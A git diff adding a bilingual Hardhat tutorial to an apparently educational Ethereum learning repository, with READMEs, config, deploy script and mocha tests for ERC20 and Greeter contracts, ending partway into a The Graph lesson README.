+它可以帮助开发人员管理和自动化构建智能合约和 dApps 过程中固有的重复性任务，并围绕这一工作流程轻松引入更多功能。这意味着 hardhat 在最核心的地方是编译、运行和测试智能合约。
+Hardhat 内置了 Hardhat 网络，这是一个专为开发设计的本地以太坊网络。主要功能有 Solidity 调试，跟踪调用堆栈、console.log()和交易失败时的明确错误信息提示等。
+
+Hardhat Runner 是与 Hardhat 交互的 CLI 命令，是一个可扩展的任务运行器。它是围绕任务和插件的概念设计的。每次你从 CLI 运行 Hardhat 时，你都在运行一个任务。例如，`npx hardhat compile` 运行的是内置的 compile 任务。任务可以调用其他任务，允许定义复杂的工作流程。用户和插件可以覆盖现有的任务，从而定制和扩展工作流程。
+
+## 准备工作 - Preparatory Work
+
+在开始学习 hardhat 之前，你需要提前了解以下知识点：
+
+- dotenv 将私钥存放在 `.env` 文件中可以避免将私钥暴露在服务器上，格式为 "PRIVATE_KEY=xxxx", 然后代码自动从中读取，详情参考 [dotenv](https://www.npmjs.com/package/dotenv)
+- npx 想要解决的主要问题，就是调用项目内部安装的模块。详情参考 [npx 使用教程](https://www.ruanyifeng.com/blog/2019/02/npx.html)
+- ethers.js 与以太坊网络交互的工具库，相比 web3.js 接口设计更加易于使用（注意 v5 和 v4 接口差别较大） [ethers.js v5 文档](https://docs.ethers.io/v5/)
+- mocha.js 测试框架，用于编写合约交互的测试案例 [mochajs 文档](https://mochajs.org/#getting-started)
+- chai.js 断言库，辅助测试脚本编写，使用方法参考 [ethereum-waffle chai 使用文档](https://ethereum-waffle.readthedocs.io/en/latest/matchers.html)
+- infura 连接区块链的节点服务商，有免费的使用额度，足够开发调试使用 [infura 官网](https://infura.io/)
+
+## 项目结构和配置 hardhat
+
+```sh
+cd    07-hardhat                // 移到Hardhat项目文件夹
+npm install --save-dev hardhat  // 安装hardhat
+npx hardhat                     // 创建hardhat项目
+```
+
+输入`npx hardhat`后，命令行中会出现如下的界面:
+
+```sh
+888    888                      888 888               888
+888    888                      888 888               888
+888    888                      888 888               888
+8888888888  8888b.  888d888 .d88888 88888b.   8888b.  888888
+888    888     "88b 888P"  d88" 888 888 "88b     "88b 888
+888    888 .d888888 888    888  888 888  888 .d888888 888
+888    888 888  888 888    Y88b 888 888  888 888  888 Y88b.
+888    888 "Y888888 888     "Y88888 888  888 "Y888888  "Y888
+
+👷 Welcome to Hardhat v2.21.0 👷‍
+
+? What do you want to do? … 
+❯ Create a JavaScript project
+  Create a TypeScript project
+  Create a TypeScript project (with Viem)
+  Create an empty hardhat.config.js
+  Quit
+```
+
+我们使用'Create a JavaScript project'选项，创建一个基础项目，后面的两个选项直接敲回车选择默认值。
+
+### 项目结构
+
+一个标准的使用 hardhat 构建的项目通常是这样的：
+
+```sh
+contracts/
+scripts/
+test/
+hardhat.config.js
+```
+
+- contracts 用于存放 solidity 合约文件
+- scripts 用于存放脚本文件，如部署合约的脚本
+- test 用于存放测试脚本，通常以 `contractName.test.js` 的形式命名
+- `hardhat.config.js` 是 hardhat 的配置文件
+
+### 配置 hardhat
+
+`hardhat.config.js` 配置文件示例
+
+```js
+require('@nomiclabs/hardhat-waffle');
+require('dotenv').config();
+module.exports = {
+  networks: {
+    // hardhat 内置测试网络（选填）
+    hardhat: {
+      // 可以设置一个固定的gasPrice，在测试gas消耗的时候会很有用
+      gasPrice: 1000000000,
+    },
+    // 你可以在这里配置任意网络
+    // goerli 测试网络
+    sepolia: {
+      // 请将 INFURA_ID 替换成你自己的
+      // url: 'https://sepolia.infura.io/v3/{INFURA_ID}',
+      url: 'https://sepolia.infura.io/v3/' + process.env.INFURA_ID, //<---- 在.env文件中配置自己的INFURA_ID
+
+      // 填写测试账户的私钥，可填写多个
+      accounts: [process.env.PRIVATE_KEY, ...]
+    }
+  },
+  solidity: {
+    version: "0.8.0", // 合约编译的版本，必填
+    settings: { // 编译设置，选填
+      optimizer: {  // 优化设置
+        enabled: true,
+        runs: 200
+      }
+    }
+  },
+  // 项目路径配置，可指定任意路径，但下列是常用的一种结构
+  // sources, tests, scripts 下的目录文件会被自动逐一执行
+  paths: {
+    sources: "./contracts", // 合约目录
+    tests: "./test",  // 测试文件目录
+    cache: "./cache", // 缓存目录，由hardhat自动生成
+    artifacts: "./artifacts" // 编译结果目录，由hardhat自动生成
+  },
+  // 测试框架设置
+  mocha: {
+    timeout: 20000  // 运行单元测试的最大等待时间
+  }
+}
+```
+
+### 内置 hardhat 网络
+
+hardhat 内置了一个特殊的安全测试网络，其名称也叫 `hardhat`, 通常你不需要对他进行特殊配置。该网络会模拟真实区块链网络的运行机制，并为你生成好 10 个测试账户（和 truffle 类似）。
+
+
+### 安装依赖
+
+1. 安装 nodejs （略）
+
+ ```js
+ 安装 node
+   //Node 版本 v20.11.0
+  ```
+
+2. 安装项目依赖：
+
+   ```sh
+    npm install
+   ```
+
+   或使用 yarn 安装（需要先安装 yarn 依赖）
+
+   ```sh
+    yarn
+   ```
+
+3. 配置私钥和网络：
+
+   在项目文件夹下新建`.env`文件，并且在 `.env` 文件中填写私钥和 infura 节点
+
+   ```js
+   PRIVATE_KEY = xxxxxxxxxxxxxxxx; // 替换为你的私钥
+   INFURA_ID = yyyyyyyy; // 替换为infura节点
+   APIKEY=zzzzzz; //替换etherscan的apikey，下文有介绍
+   ```
+
+## usage
+
+hardhat 的用法
+
+### compile
+
+运行如下命令，hardhat 会自动编译配置中 `sources` 路径下的所有合约文件，默认是 `./contracts` 路径。
+
+```sh
+npx hardhat compile
+```
+
+### test
+
+运行如下命令，hardhat 会自动运行配置中 `tests` 路径下的所有测试文件，默认是 `./test` 路径。
+
+```sh
+npx hardhat test
+#test网络使用本机网络，不需要指定 --network <network name>
+```
+
+也可以指定运行某个特定测试文件
+
+```sh
+npx hardhat test ./test/Greeter.test.js
+```
+
+### run
+运行指定脚本。如果不指定运行网络，会默认在 hardhat 内置网络内运行 (Hardhat Network)。
+
+```sh
+npx hardhat run ./scripts/deploy.js
+```
+
+指定运行的网络，例如在 goerli 测试网部署合约(请确保钱包地址在 goerli 测试网有足够的 gas 才能成功部署)
+
+```sh
+npx hardhat run ./scripts/deploy.js --network sepolia
+
+#请记住此处运行完之后返回的 “deploy address“，下面 verify 在sepolia网络验证时会用到
+```
+
+### verify
+
+验证智能合约，这里以`sepolia`举例。
+
+在 `hardhat.config.js` 添加配置：
+
+```js
+ etherscan: {
+   apiKey: "<etherscan的api key>",//用process.env.APIKEY 获取变量
+ }
+```
+
+https://etherscan.io/myapikey 官网创建账号，登陆之后，My Account(自己创建的账号实际名称) -> API Keys 菜单中创建
+
+确保 hardhat.config.js里配置
+
+运行脚本：
+
+```shell
+npx hardhat verify --contract "contracts/SimpleToken.sol:SimpleToken" --constructor-args ./arguments_SimpleToken.js  --network sepolia <合约地址>
+
+#arguments_SimpleToken.js 中的数据为 第207行运行deplo.js脚本时，构造SimpleToken合约时，设置的参数
+```
+
+### task
+
+hardhat 本身预设了一些程序任务，例如编译合约，运行测试文件，这些其实在 hardhat 中是预先配置好的任务。
+
+实际上你也可以自定义一些 task，比如打印一下当前网络中的账户状态：
+
+```js
+// hardhat.config.js
+...
+
+task('accounts', 'Prints the list of accounts', async () => {
+  const accounts = await ethers.getSigners();
+
+  for (const account of accounts) {
+    console.log(account.address);
+  }
+});
+
+...
+```
+
+运行 task
+
+```sh
+npx hardhat accounts
+```
+
+命令行会打印出 10 个测试账户地址
+
+```sh
+0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
+...
+```
+
+### console
+
+hardhat 的控制台模式，实时与链上交互。默认会启动 hardhat 内置网络。
+
+```sh
+npx hardhat console
+```
+
+控制内置 ethers 和 web3 库，可以直接使用，无须引入。
+
+```js
+// hardhat console mode:
+// 可以直接使用 async/await 语法
+> await ethers.provider.getBlockNumber()  // 0
+```
+
+### console.log debug
+
+hardhat 提供了一个 `console.log()` 方法，可以在合约运行时打印日志，方便调试和测试。**此方法仅在 hardhat 内置网络中运行有效。**
+
+在合约中引入 `hardhat/console.sol` 即可使用：
+
+```solidity
+import "hardhat/console.sol";
+
+contract Greeter {
+  ...
+
+  function setGreeting(string memory _greeting) public {
+    console.log("Changing greeting from '%s' to '%s'", greeting, _greeting);
+    greeting = _greeting;
+  }
+
+}
+```
+
+在运行测试文件时(命令:npx hardhat test ./test/greeter.test.js)，可以看到打印出的日志：
+
+```sh
+Changing greeting from 'Hello, world!' to 'hello Dapp-Learning!'
+```
+
+
+## 实操流程
+
+### 编译和测试
+
+1. 编译合约
+
+   ```bash
+   npx hardhat compile
+   ```
+
+2. 批量运行测试脚本
+
+   ```bash
+   npx hardhat test
+   ```
+
+3. 部署到测试网：
+
+   ```bash
+   npx hardhat run scripts/deploy.js --network <network-name>
+   ```
+
+   这里的 `network-name` 替换成你指定的网络名称，这里可以换成 `sepolia`，对应配置文件中的网络名称。
+
+4. 验证智能合约
+
+   ```bash
+   npx hardhat verify --contract "contracts/SimpleToken.sol:SimpleToken" --constructor-args ./arguments_SimpleToken.js  --network <network-name> <contract-address>
+   ```
+
+    `network-name` ：你指定的网络名称，这里可以换成 `sepolia`，对应配置文件中的网络名称。
+
+    `contract-address` ：上一步部署的合约地址。
+
+
+
+
+## 参考文档
+
+- hardhat 官方文档: <https://hardhat.org/guides/project-setup.html>
+- hardhat 中文文档: <https://learnblockchain.cn/docs/hardhat/getting-started/>
+- ethers.js 和 hardhat 基础使用讲解: <https://www.bilibili.com/video/BV1Pv411s7Nb>
+- <https://rahulsethuram.medium.com/the-new-solidity-dev-stack-buidler-ethers-waffle-typescript-tutorial-f07917de48ae>
+- erc20 openzeppelin介绍: <https://segmentfault.com/a/1190000015400380>
\ No newline at end of file
diff --git a/basic/07-hardhat/README.md b/basic/07-hardhat/README.md
new file mode 100644
index 000000000..6555c661d
--- /dev/null
+++ b/basic/07-hardhat/README.md
@@ -0,0 +1,335 @@
+[中文](./README-CN.md) / English
+
+# Hardhat
+
+Hardhat is a development environment for ethereum application to compile, deploy, test and debug.
+
+It could help developer to manage , automate build smart contracts and some inherently repetitive tasks in dApps.The core of hardhat is compiling, running and testing smart contracts. It has a build-in Hardhat test network, which is designed for local ethereum network.Its main functions includes Solidity debugging, tracking invoked stack, console.log() and explicit error tips in failed transaction.
+
+Hardhat Runner is a CLI interacted with Hardhat and a extensible task runner. It was designed by the concept of tasks and plugins. When you run Hardhat by CLI, you will run a task, such as `npx hardhat compile`. It will run the build-in compiling task. The task will trigger other tasks, which can give the complicated work flow. Users and plugins could cover all tasks now to customize and extend the work flow.
+
+## Preparation
+
+Before learning hardhat, you need to understand some Knowledge points as follows:
+
+- dotenv place private key in `.env` files, which could prevent exposure on cloud server, formatted with "PRIVATE_KEY=xxxx". It will be read by code automaticily. Refer to [dotenv](https://www.npmjs.com/package/dotenv)
+- The main problem npx want to resolve is to invoke modules installed internally in the project. Refer to [npx Tutorials](https://www.ruanyifeng.com/blog/2019/02/npx.html)
+- Compared to web3.js, the interfaces of ethers.js and ethereum network library is easily used(note the interface difference between v5 and v4) [ethers.js v5 document](https://docs.ethers.io/v5/)
+- mocha.js test framework is used to write the solution for contracts Interaction. [mochajs document](https://mochajs.org/#getting-started)
+- chai.js assert framework is used to help to write testing scripts, refer to [ethereum-waffle chai document](https://ethereum-waffle.readthedocs.io/en/latest/matchers.html)
+- infura is a node internet service provider to connect to block chain, which allow some free use amounts. It is enough to develop and debug. [infura offical site](https://infura.io/)
+
+## Project structure and configuration hardhat
+
+```sh
+cd    07-hardhat                // move to folder
+npm install --save-dev hardhat  // install hardhat
+npx hardhat                     // initialize hardhat
+```
+
+Finished in inputing `npx hardhat`, it will show in the terminal:
+
+```sh
+888    888                      888 888               888
+888    888                      888 888               888
+888    888                      888 888               888
+8888888888  8888b.  888d888 .d88888 88888b.   8888b.  888888
+888    888     "88b 888P"  d88" 888 888 "88b     "88b 888
+888    888 .d888888 888    888  888 888  888 .d888888 888
+888    888 888  888 888    Y88b 888 888  888 888  888 Y88b.
+888    888 "Y888888 888     "Y88888 888  888 "Y888888  "Y888
+
+👷 Welcome to Hardhat v2.21.0 👷‍
+
+? What do you want to do? … 
+❯ Create a JavaScript project
+  Create a TypeScript project
+  Create a TypeScript project (with Viem)
+  Create an empty hardhat.config.js
+  Quit
+```
+
+We select 'Create a JavaScript project' options to initialize a basic project, click enter directly in the next 2 steps.
+
+### Project stucture
+
+A standard project build in hardhat is as follow:
+
+```sh
+contracts/
+scripts/
+test/
+hardhat.config.js
+```
+
+- palce fileds write in solidity in contracts
+- palce scripts files such as deploying contracts in scripts
+- palce testing scripts named with `contractName.test.js` in test
+- `hardhat.config.js` is config file of hardhat
+
+### Configuration of hardhat
+
+`hardhat.config.js` config file example
+
+```js
+require('@nomiclabs/hardhat-waffle');
+require('dotenv').config();
+
+module.exports = {
+  networks: {
+    // hardhat build-in testing network (optional)
+    hardhat: {
+      // a fixed gasPrice could be set, it will be useful when testing gas consumption
+      gasPrice: 1000000000,
+    },
+    // you could config arbitrary network
+    // goerli testing network
+    sepolia: {
+      // place INFURA_ID to yours
+      // url: 'https://sepolia.infura.io/v3/{INFURA_ID}',
+      url: 'https://sepolia.infura.io/v3/' + process.env.INFURA_ID, //<---- 在.env文件中配置自己的INFURA_ID
+
+      //  place multiple privateKeyX to yours
+      accounts: [process.env.PRIVATE_KEY, ...]
+    }
+  },
+  solidity: {
+    version: "0.8.0", // version of compiling contract, required
+    settings: { // setting of compile, optional
+      optimizer: {  // setting of optimizing
+        enabled: true,
+        runs: 200
+      }
+    }
+  },
+
+  // config project paths, any path could be specified, The following is a common template
+  // files in sources, test, scripts will be executed one by one
+  paths: {
+    sources: "./contracts", // directory of contracts
+    tests: "./test",  // directory of test files
+    cache: "./cache", // cache directory, generated by hardhat
+    artifacts: "./artifacts" // directory of compiling result, generated by hardhat
+  },
+  // setting of testing framework
+  mocha: {
+    timeout: 20000  // max waiting time of running unit test
+  }
+}
+```
+
+### Build-in hardhat network
+
+hardhat has a special, secure and build-in testing network, named `hardhat`, you don't need a special configuration for it. The network will follow the mechanism in real block chain network, and it will generate 10 test accounts for you (just like truffle).
+
+
+### Install dependencies
+
+1. install nodejs (ignore)
+   # Node version v20.11.0
+2. install project dependencies:
+
+   ```sh
+  npm install
+   ```
+
+   or use yarn to intall (yarn installed firstly)
+
+   ```sh
+  yarn
+   ```
+
+3. config private key and network:
+
+   create `.env` file in the directory of project, add private key and infura node to the file
+
+   ```js
+   PRIVATE_KEY = xxxxxxxxxxxxxxxx; // place your private key
+   INFURA_ID = yyyyyyyy; // place infura node
+    APIKEY=zzzzzz; //replace etherscan apikey，will introduce below
+   ```
+
+## Usage
+
+useage of hardhat
+
+### Compile
+
+Run the command, hardhat will compile all contracts file in directory of `sources`, the default path is `./contracts`
+
+```sh
+npx hardhat compile
+```
+
+### Test
+
+Run the command, hardhat will compile all test files in directory of `tests`, the default path is `./test`
+
+```sh
+npx hardhat test
+#test network no need assign --network <network name>
+```
+
+you could also specify some test files to run it
+
+```sh
+npx hardhat test ./test/Greeter.test.js
+```
+
+### Run
+
+Run the specified script. If you are not, it will run on hardhat's build-in network by default(Hardhat Network).
+
+```sh
+npx hardhat run ./scripts/deploy.js
+```
+
+Run the specified network, such as the contract deployed on goerli test network(make sure that the wallet could pay the gas)
+
+```sh
+npx hardhat run ./scripts/deploy.js --network sepolia
+
+
+#Please remember the "deploy address" returned after running here, which will be used by verify in Sepolia network verification below
+```
+
+### Verify
+
+Verify the smart contract, here is an example of `goerli`.
+
+Add the following configuration to `hardhat.config.js`:
+
+```js
+  etherscan: {
+   apiKey: "<etherscan的api key>", //Use process.env.APIKEY Get Variables
+ }
+```
+https://etherscan.io/myapikey Create an account on the official website. After logging in, go to My Account (the actual name of the account you created) ->API Key
+
+Ensure configuration in hardhat.config.js
+
+Run script:
+
+```shell
+npx hardhat verify --contract "contracts/SimpleToken.sol:SimpleToken" --constructor-args ./arguments_SimpleToken.js  --network sepolia <contract address>
+
+##The data in arguments SimpleToken.js are the parameters set during the construction of the SimpleToken contract when running the deploy. js script on line 207
+```
+
+### Task
+
+hardhat preset some task itself, such as compiling contract, running testing scripts. Those are build-in hardhat tasks.
+
+Actually you could also customize some tasks, such as printing status of the current network's account
+
+```js
+// hardhat.config.js
+...
+
+task('accounts', 'Prints the list of accounts', async () => {
+  const accounts = await ethers.getSigners();
+
+  for (const account of accounts) {
+    console.log(account.address);
+  }
+});
+
+...
+```
+
+run task
+
+```sh
+npx hardhat accounts
+```
+
+terminal will print 10 addresses of testing account
+
+```sh
+0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
+...
+```
+
+### Console
+
+The console mode of hardhat could interact with chain in real-time, where the hardhat build-in network is started by default.
+
+```sh
+npx hardhat console
+```
+
+we can directly use build-in ethers and web3 library, no need to import.
+
+```js
+// hardhat console mode:
+// directly use async/await
+> await ethers.provider.getBlockNumber()  // 0
+```
+
+### console.log debug
+
+hardhat provide the `console.log()` method to print logs, debug and test when running the contract . **Only valid in hardhat build-int network**
+
+you can use is by importing `hardhat/console.sol` in your contract
+
+```solidity
+import "hardhat/console.sol";
+
+contract Greeter {
+  ...
+
+  function setGreeting(string memory _greeting) public {
+    console.log("Changing greeting from '%s' to '%s'", greeting, _greeting);
+    greeting = _greeting;
+  }
+
+}
+```
+
+When running test scripts, you can check logs:
+
+```sh
+Changing greeting from 'Hello, world!' to 'hello Dapp-Learning!'
+```
+
+## Steps
+
+### Compile and test
+
+1. compile the contract
+
+   ```bash
+   npx hardhat compile
+   ```
+
+2. batch run test scripts
+
+   ```bash
+   npx hardhat test
+   ```
+
+3. deploy to test network
+
+   ```bash
+   npx hardhat run scripts/deploy.js --network <network-name>
+   ```
+
+   `network-name` should be replaced with your networks, `sepolia` is a choice which exists in the config file.
+
+4. Verify smart contract
+
+   ```bash
+    npx hardhat verify --contract "contracts/SimpleToken.sol:SimpleToken" --constructor-args ./arguments_SimpleToken.js  --network <network-name>  <contract-address>
+   ```
+
+    `network-name` : the name of the network you specify, here you can replace it with `sepolia`, which corresponds to the network name in the configuration file.
+
+   `contract-address` : The address of the contract deployed in the previous step.
+
+## Reference
+
+- hardhat offical document: <https://hardhat.org/guides/project-setup.html>
+- hardhat chinese document: <https://learnblockchain.cn/docs/hardhat/getting-started/>
+- the usage of ethers.js and hardhat : <https://www.bilibili.com/video/BV1Pv411s7Nb>
+- <https://rahulsethuram.medium.com/the-new-solidity-dev-stack-buidler-ethers-waffle-typescript-tutorial-f07917de48ae>
+- erc20 openzeppelin introduction: <https://segmentfault.com/a/1190000015400380>
diff --git a/basic/07-hardhat/arguments_Greeter.js b/basic/07-hardhat/arguments_Greeter.js
new file mode 100644
index 000000000..e82137891
--- /dev/null
+++ b/basic/07-hardhat/arguments_Greeter.js
@@ -0,0 +1,3 @@
+module.exports = [
+   "Hello, world",
+ ];
\ No newline at end of file
diff --git a/basic/07-hardhat/arguments_SimpleToken.js b/basic/07-hardhat/arguments_SimpleToken.js
new file mode 100644
index 000000000..2ec024f65
--- /dev/null
+++ b/basic/07-hardhat/arguments_SimpleToken.js
@@ -0,0 +1,6 @@
+module.exports = [
+   'SimpleToken',
+   'SimpleToken',
+   18,
+   10000000000,
+ ]; 
\ No newline at end of file
diff --git a/basic/07-hardhat/contracts/Greeter.sol b/basic/07-hardhat/contracts/Greeter.sol
new file mode 100644
index 000000000..e70e5bbf4
--- /dev/null
+++ b/basic/07-hardhat/contracts/Greeter.sol
@@ -0,0 +1,20 @@
+//SPDX-License-Identifier: Unlicense
+pragma solidity ^0.8.0;
+
+contract Greeter {
+  string greeting;
+
+  constructor(string memory _greeting) public {
+  
+    greeting = _greeting;
+  }
+
+  function greet() public view returns (string memory) {
+    return greeting;
+  }
+
+  function setGreeting(string memory _greeting) public {
+ 
+    greeting = _greeting;
+  }
+}
\ No newline at end of file
diff --git a/Example05-ethersjs-erc20/SimpleToken.sol b/basic/07-hardhat/contracts/SimpleToken.sol
similarity index 100%
rename from Example05-ethersjs-erc20/SimpleToken.sol
rename to basic/07-hardhat/contracts/SimpleToken.sol
diff --git a/basic/07-hardhat/hardhat.config.js b/basic/07-hardhat/hardhat.config.js
new file mode 100644
index 000000000..17e79c9ad
--- /dev/null
+++ b/basic/07-hardhat/hardhat.config.js
@@ -0,0 +1,53 @@
+require('@nomicfoundation/hardhat-toolbox');
+require('dotenv').config();
+
+// This is a sample Hardhat task. To learn how to create your own go to
+// https://hardhat.org/guides/create-task.html
+task('accounts', 'Prints the list of accounts', async () => {
+  const accounts = await ethers.getSigners();
+
+  for (const account of accounts) {
+    console.log(account.address);
+  }
+});
+
+function mnemonic() {
+  //can config 3 PRIVATE_KEY
+  //return process.env.PRIVATE_KEY,process.env.PRIVATE_KEY1,process.env.PRIVATE_KEY2;
+  return process.env.PRIVATE_KEY;
+}
+
+/**
+ * @type import('hardhat/config').HardhatUserConfig
+ */
+module.exports = {
+  solidity: '0.8.20',
+  networks: {
+    localhost: {
+      url: 'http://localhost:8545',
+      //gasPrice: 125000000000,  // you can adjust gasPrice locally to see how much it will cost on production
+      /*
+        notice no mnemonic here? it will just use account 0 of the hardhat node to deploy
+        (you can put in a mnemonic here to set the deployer locally)
+      */
+    },
+    sepolia: {
+      url: 'https://sepolia.infura.io/v3/' + process.env.INFURA_ID, //<---- CONFIG YOUR INFURA ID IN .ENV! (or it won't work)
+      accounts: [mnemonic()],
+    },
+    mainnet: {
+      url: 'https://mainnet.infura.io/v3/' + process.env.INFURA_ID, //<---- CONFIG YOUR INFURA ID IN .ENV! (or it won't work)
+      accounts: [mnemonic()],
+    },
+  },
+  etherscan: {
+    apiKey: {
+      sepolia: process.env.APIKEY,
+    },
+  },
+  sourcify: {
+    // Disabled by default
+    // Doesn't need an API key
+    enabled: true,
+  },
+};
diff --git a/basic/07-hardhat/package.json b/basic/07-hardhat/package.json
new file mode 100644
index 000000000..70d9128a8
--- /dev/null
+++ b/basic/07-hardhat/package.json
@@ -0,0 +1,19 @@
+{
+  "name": "07-hardhat",
+  "version": "1.0.0",
+  "description": "",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1"
+  },
+  "keywords": [],
+  "author": "",
+  "license": "ISC",
+  "dependencies": {
+    "dotenv": "^16.4.5",
+    "hardhat": "^2.22.2"
+  },
+  "devDependencies": {
+    "@nomicfoundation/hardhat-toolbox": "^5.0.0"
+  }
+}
diff --git a/basic/07-hardhat/scripts/deploy.js b/basic/07-hardhat/scripts/deploy.js
new file mode 100644
index 000000000..a8db2ec81
--- /dev/null
+++ b/basic/07-hardhat/scripts/deploy.js
@@ -0,0 +1,31 @@
+// We require the Hardhat Runtime Environment explicitly here. This is optional
+// but useful for running the script in a standalone fashion through `node <script>`.
+//
+// When running the script with `hardhat run <script>` you'll find the Hardhat
+// Runtime Environment's members available in the global scope.
+const { ethers } = require('hardhat');
+
+async function main() {
+  const [deployer] = await ethers.getSigners();
+
+  console.log('Deploying contracts with the account:', deployer.address);
+
+  console.log('Account balance:', (await ethers.provider.getBalance(deployer.address)).toString());
+
+  const Token = await ethers.getContractFactory('SimpleToken');
+  const token = await Token.deploy('SimpleToken', 'SimpleToken', 18, 10000000000);
+  await token.waitForDeployment()
+
+  console.log('deploy address:', token.target);
+
+ 
+}
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main()
+  .then(() => process.exit(0))
+  .catch((error) => {
+    console.error(error);
+    process.exit(1);
+  });
diff --git a/basic/07-hardhat/test/erc20-all.test.js b/basic/07-hardhat/test/erc20-all.test.js
new file mode 100644
index 000000000..b9d265052
--- /dev/null
+++ b/basic/07-hardhat/test/erc20-all.test.js
@@ -0,0 +1,100 @@
+const { expect } = require("chai");
+
+// `describe` is a Mocha function that allows you to organize your tests. It's
+// not actually needed, but having your tests organized makes debugging them
+// easier. All Mocha functions are available in the global scope.
+
+// `describe` receives the name of a section of your test suite, and a callback.
+// The callback must define the tests of that section. This callback can't be
+// an async function.
+describe("Token contract", function () {
+  // Mocha has four functions that let you hook into the  test runner's
+  // lifecyle. These are: `before`, `beforeEach`, `after`, `afterEach`.
+
+  // They're very useful to setup the environment for tests, and to clean it
+  // up after they run.
+
+  // A common pattern is to declare some variables, and assign them in the
+  // `before` and `beforeEach` callbacks.
+
+  let Token;
+  let hardhatToken;
+  let owner;
+  let addr1;
+  let addr2;
+  let addrs;
+
+  // `beforeEach` will run before each test, re-deploying the contract every
+  // time. It receives a callback, which can be async.
+  beforeEach(async function () {
+    // Get the ContractFactory and Signers here.
+    Token = await ethers.getContractFactory("SimpleToken");
+    [owner, addr1, addr2, ...addrs] = await ethers.getSigners();
+
+    // To deploy our contract, we just have to call Token.deploy() and await
+    // for it to be deployed(), which happens onces its transaction has been
+    // mined.
+    hardhatToken = await Token.deploy("HEHE", "HH", 1, 100000000);
+  });
+
+  // You can nest describe calls to create subsections.
+  describe("Deployment", function () {
+    // `it` is another Mocha function. This is the one you use to define your
+    // tests. It receives the test name, and a callback function.
+
+    it("Should assign the total supply of tokens to the owner", async function () {
+      const ownerBalance = await hardhatToken.balanceOf(owner.address);
+      expect(await hardhatToken.totalSupply()).to.equal(ownerBalance);
+    });
+  });
+
+  describe("Transactions", function () {
+    it("Should transfer tokens between accounts", async function () {
+      // Transfer 50 tokens from owner to addr1
+      await hardhatToken.transfer(addr1.address, 50);
+      const addr1Balance = await hardhatToken.balanceOf(addr1.address);
+      expect(addr1Balance).to.equal(50);
+
+      // Transfer 50 tokens from addr1 to addr2
+      // We use .connect(signer) to send a transaction from another account
+      await hardhatToken.connect(addr1).transfer(addr2.address, 50);
+      const addr2Balance = await hardhatToken.balanceOf(addr2.address);
+      expect(addr2Balance).to.equal(50);
+    });
+
+    it("Should fail if sender doesn’t have enough tokens", async function () {
+      const initialOwnerBalance = await hardhatToken.balanceOf(owner.address);
+
+      // Try to send 1 token from addr1 (0 tokens) to owner (1000 tokens).
+      // `require` will evaluate false and revert the transaction.
+      await expect(
+          hardhatToken.connect(addr1).transfer(owner.address, 1)
+      ).to.be.revertedWith("ERC20: transfer amount exceeds balance");
+
+      // Owner balance shouldn't have changed.
+      expect(await hardhatToken.balanceOf(owner.address)).to.equal(
+          initialOwnerBalance
+      );
+    });
+
+    it("Should update balances after transfers", async function () {
+      const initialOwnerBalance = await hardhatToken.balanceOf(owner.address);
+
+      // Transfer 100 tokens from owner to addr1.
+      await hardhatToken.transfer(addr1.address, 100);
+
+      // Transfer another 50 tokens from owner to addr2.
+      await hardhatToken.transfer(addr2.address, 50);
+
+      // Check balances.
+      const finalOwnerBalance = await hardhatToken.balanceOf(owner.address);
+      expect(BigInt(finalOwnerBalance)).to.equal(BigInt(initialOwnerBalance) - BigInt(150));
+
+      const addr1Balance = await hardhatToken.balanceOf(addr1.address);
+      expect(addr1Balance).to.equal(100);
+
+      const addr2Balance = await hardhatToken.balanceOf(addr2.address);
+      expect(addr2Balance).to.equal(50);
+    });
+  });
+});
\ No newline at end of file
diff --git a/Example07-hardhat/test/erc20-test.js b/basic/07-hardhat/test/erc20.test.js
similarity index 100%
rename from Example07-hardhat/test/erc20-test.js
rename to basic/07-hardhat/test/erc20.test.js
diff --git a/basic/07-hardhat/test/greeter.test.js b/basic/07-hardhat/test/greeter.test.js
new file mode 100644
index 000000000..018ee609f
--- /dev/null
+++ b/basic/07-hardhat/test/greeter.test.js
@@ -0,0 +1,13 @@
+const { expect } = require("chai");
+
+describe("Greeter", function() {
+  it("Should return the new greeting once it's changed", async function() {
+    const Greeter = await ethers.getContractFactory("Greeter");
+    const greeter = await Greeter.deploy("Hello, world!");
+    
+    expect(await greeter.greet()).to.equal("Hello, world!");
+
+    await greeter.setGreeting("hello Dapp-Learning!");
+    expect(await greeter.greet()).to.equal("hello Dapp-Learning!");
+  });
+});
diff --git a/basic/08-hardhat-graph/.env.example b/basic/08-hardhat-graph/.env.example
new file mode 100644
index 000000000..67b793141
--- /dev/null
+++ b/basic/08-hardhat-graph/.env.example
@@ -0,0 +1,2 @@
+PRIVATE_KEY=xxxxxxxxxxxxxxxx
+INFURA_ID=yyyyyyyy
\ No newline at end of file
diff --git a/basic/08-hardhat-graph/README-CN.md b/basic/08-hardhat-graph/README-CN.md
new file mode 100644
index 000000000..f8851917e
--- /dev/null
+++ b/basic/08-hardhat-graph/README-CN.md
@@ -0,0 +1,319 @@
+中文 / [English](./README.md)
+
+## Graph 介绍
+
+编写智能合约时，通常状态的变化是通过触发一个事件来表达，The Graph 则是捕捉区块链事件并提供一个查询事件的 GraphQL 接口，让我们可以方便的跟踪数据的变化。实际上很多 defi 协议都是 The Graph 来基于查询数据。
+
+## 流程概述
+
+- 在 Optimism 部署一个合约，并调用触发事件。
+- 创建定义数据索引的 Subgraph。
+- 部署 Subgraph 到 TheGraph，实现数据索引。
+- 在前端 DApp 中查询索引数据。
+
+如果你有自己的私有链，这可以克隆 Graph 节点代码 https://github.com/graphprotocol/graph-node/ 自己运行 Graph 节点来完成数据的索引。
+
+TheGraph 中定义如何为数据建立索引，称为 Subgraph，它包含三个组件：
+
+- Manifest 清单(subgraph.yaml) - 定义配置项
+- Schema 模式(schema.graphql) - 定义数据 , 参考文档 https://graphql.cn/learn/
+- Mapping 映射(mapping.ts) - 定义事件到数据的转换
+
+## 操作步骤
+
+1. 安装相关依赖
+
+   ```bash
+   npm install
+  
+    #node版本 v20.11.0
+   ```
+
+2. 配置私钥
+
+   为方便获取，在 .env 中放入的私钥，格式为 "PRIVATE_KEY=xxxx", 然后代码自动从中读取<br>
+   另外需要设置你的 infura 节点 id，在 .env 中放入的私钥，格式为 "INFURA_ID=xxxx"
+
+3. 部署合约(用于测试 graph 的简单合约)
+
+   ```bash
+   npx hardhat run ./scripts/deploy.js --network sepolia
+   ```
+
